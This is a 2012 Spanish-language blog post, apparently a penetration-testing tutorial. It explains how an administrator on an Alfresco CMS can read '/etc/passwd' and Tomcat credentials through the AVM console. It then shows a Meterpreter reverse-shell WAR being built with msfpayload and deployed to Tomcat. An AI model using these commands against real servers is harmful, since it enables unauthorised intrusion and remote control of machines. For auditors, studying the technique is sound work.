sábado, 11 de agosto de 2012

Auditorías de CMS Alfresco


Durante una auditoría es importante tener en cuenta todas las posibilidades a la hora de realizar una intrusión. Muchas veces encontramos CMS o frameworks en empresas que disponen de una contraseña de administración débil o que conseguimos acceder al panel de administración y nos gustaría tomar el control de esa máquina pero no tenemos ejecución de comandos.

Alfresco es uno de esos frameworks y una vez somos administradores del sitio web vamos a ver cómo podemos conseguir la tan ansiada Shell o interprete de comandos.
Alfresco suele montarse en un servidor de aplicaciones como Tomcat, JBOSS, etc siempre servidores web que interpreten lenguajes JSP

Alfresco dispone de unas consolas de gestión que sirven para realizar ejecución de comandos en la máquina de una manera un tanto especial. Estas consolas son herramientas para programadores o administradores. Para tener más información sobre estas consolas pueden consultar esta referencia:
 http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/

 
La consola más interesante que tenemos es la AVM de la cual dispone de una ayuda en la siguiente url: http://wiki.alfresco.com/wiki/AVM_Console
Esta consola permite entre otras cosas leer archivos del disco, escribir, etc.
Realizando el siguiente comando por ejemplo:
cat, sitestore:/etc/passwd


 
Se lee el fichero /etc/passwd desde las consolas de administración:




De esta manera es posible leer la configuración del servidor web para al final acceder como administrador del tomcat por ejemplo y subir nuestro meterpreter:

Leyendo la configuración del servidor de aplicaciones Tomcat:

Acceso al servidor de aplicaciones como administrador:


Y ya solo nos falta subir un meterpreter gracias al modulo de metasploit "exploit/multi/http/tomcat_mgr_deploy". Pero vamos a ver la forma de hacerlo manualmente por si alguna vez nos da problema dicho módulo:

Para ello lo que vamos a crear es un .war malicioso que nos valdrá tanto para JBOSS como para TOMCAT, GLASSFISH y cualquier servidor de aplicaciones que trabaje con .war:

Con el siguiente comando se crea una shell reversa por si acaso hubiera firewall pero en un fichero .war:

msfpayload windows/meterpreter/reverse_tcp  W > /test.war

Dejamos escuchando un multihandler para cuando realize la conexión inversa:



Una vez tenemos el war ya creado lo descomprimimos para ver  la estructura que tiene por si quisieramos generar uno manualmente aunque en principio no hace falta:


Como vemos en la imagen anterior tenemos dos ficheros y el que debemos ejecutar es el jsp, por lo que nos apuntamos el nombre, ya que posteriormente nos hará falta (también podríamos cambiárselo a gusto del auditor)

Lo único que nos queda es subirlo en el servidor de aplicaciones Tomcat por ejemplo a través de su funcionalidad de desplegar aplicaciones:


Una vez que lo tenemos desplegado podemos ejecutarlo en el navegador haciendo click en el simplemente y nos llevara a una pagina de NOT FOUND. Todo esta bien, ahora lo único que debemos hacer es atacar directamente al recurso que apuntamos anteriormente cuando descomprimimos el fichero war y se conectara a nosotros:


¿ Y que pasaría si el servidor no disponde de salida a internet? Lo veremos más adelante. 

Un saludo¡

1 comentario:

  1. Googling for it about one month and finally your awesome article shows up.


    Thank you so much !!


    ## i am read it through google translate

    ResponderEliminar